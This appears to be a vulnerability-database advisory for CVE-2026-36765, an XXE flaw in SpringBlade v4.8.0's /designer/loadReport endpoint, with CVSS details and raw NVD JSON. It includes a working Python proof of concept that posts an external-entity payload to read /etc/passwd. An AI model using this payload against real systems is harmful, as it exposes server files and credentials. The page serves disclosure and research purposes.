CVE-2026-36765

Description

An XML external entity (XXE) vulnerability in the /designer/loadReport endpoint of SpringBlade v4.8.0 allows authenticated attackers to execute arbitrary code via injecting a crafted payload.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SpringBlade v4.8.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

target_url = "http://vulnerable-host/designer/loadReport"

# Malicious XML payload to read /etc/passwd
xxe_payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
"""

headers = {
    "Content-Type": "application/xml",
    "Authorization": "Bearer <low_privilege_token>" # Requires authenticated user
}

try:
    response = requests.post(target_url, data=xxe_payload, headers=headers)
    if response.status_code == 200:
        print("[+] Exploit successful!")
        print("[+] Response:")
        print(response.text)
    else:
        print("[-] Exploit failed, status code:", response.status_code)
except Exception as e:
    print("[-] Error:", e)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-36765
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-36765
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-36765/
[4] VulDB https://vuldb.com/cve/CVE-2026-36765
[5] https://github.com/chillzhuang/SpringBlade
[6] https://github.com/chillzhuang/SpringBlade/issues/37
[7] https://github.com/chillzhuang/SpringBlade/issues/37

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-36765", "sourceIdentifier": "[email protected]", "published": "2026-04-30T18:16:29.707", "lastModified": "2026-05-04T18:16:28.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An XML external entity (XXE) vulnerability in the /designer/loadReport endpoint of SpringBlade v4.8.0 allows authenticated attackers to execute arbitrary code via injecting a crafted payload."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "references": [{"url": "https://github.com/chillzhuang/SpringBlade", "source": "[email protected]"}, {"url": "https://github.com/chillzhuang/SpringBlade/issues/37", "source": "[email protected]"}, {"url": "https://github.com/chillzhuang/SpringBlade/issues/37", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}